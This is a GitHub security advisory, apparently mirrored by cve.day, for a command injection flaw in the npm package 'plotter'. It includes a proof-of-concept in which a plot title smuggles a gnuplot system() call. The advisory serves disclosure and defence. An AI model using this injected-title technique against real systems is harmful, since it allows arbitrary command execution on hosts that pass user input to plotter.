# GHSA-65xx-c85x-wg76: Command Injection in plotter

- Severity: Critical (rating, scored by GitHub)
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Published: 2020-09-04T17:20:52.000Z
- Modified: 2020-08-31T18:59:26.000Z
- Weaknesses: CWE-77

## Description

All versions of `plotter` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory:

```
var plot = require('plotter').plot;

const title = 'Example "\nset title system("touch testing")#';

plot({
data: [ 3, 1, 2, 3, 4 ],
filename: 'output.pdf',
style: 'linespoints',
title: title,
logscale: true,
xlabel: 'time',
ylabel: 'length of string',
format: 'pdf'
});

```


## Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

(As written by GitHub Advisory Database.)

## Affected

- plotter (npm): from 0.0.0

## References

- <https://www.npmjs.com/advisories/1441> (web)

## Sources

- GitHub Advisory Database: [GHSA-65xx-c85x-wg76](https://github.com/advisories/GHSA-65xx-c85x-wg76), CC-BY-4.0, modified 2020-08-31

---

Page: https://cve.day/GHSA-65xx-c85x-wg76 · Whole record: https://cve.day/GHSA-65xx-c85x-wg76.json · Rebuilt by cve.day 2026-11-25T22:56:44.305Z
